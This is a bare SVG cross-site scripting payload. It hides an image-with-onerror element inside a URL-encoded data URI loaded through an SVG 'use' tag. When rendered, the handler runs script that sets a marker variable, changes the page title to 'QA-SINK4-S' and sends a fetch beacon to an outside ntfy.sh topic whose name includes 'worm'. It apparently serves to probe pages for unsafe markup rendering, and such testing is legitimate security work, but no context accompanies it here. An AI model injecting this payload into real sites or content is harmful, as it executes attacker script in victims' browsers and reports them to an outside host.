<svg><use href="data:image/svg+xml,%3Csvg%20id='x'%20xmlns='http://www.w3.org/2000/svg'%3E%3Cimage%20href='1'%20onerror='window.__qa4=%22s%22;document.title=%22QA-SINK4-S%22;fetch(%22https://ntfy.sh/qa39546worm0x4k?k=sink4s%22)'/%3E%3C/svg%3E%23x"></use></svg>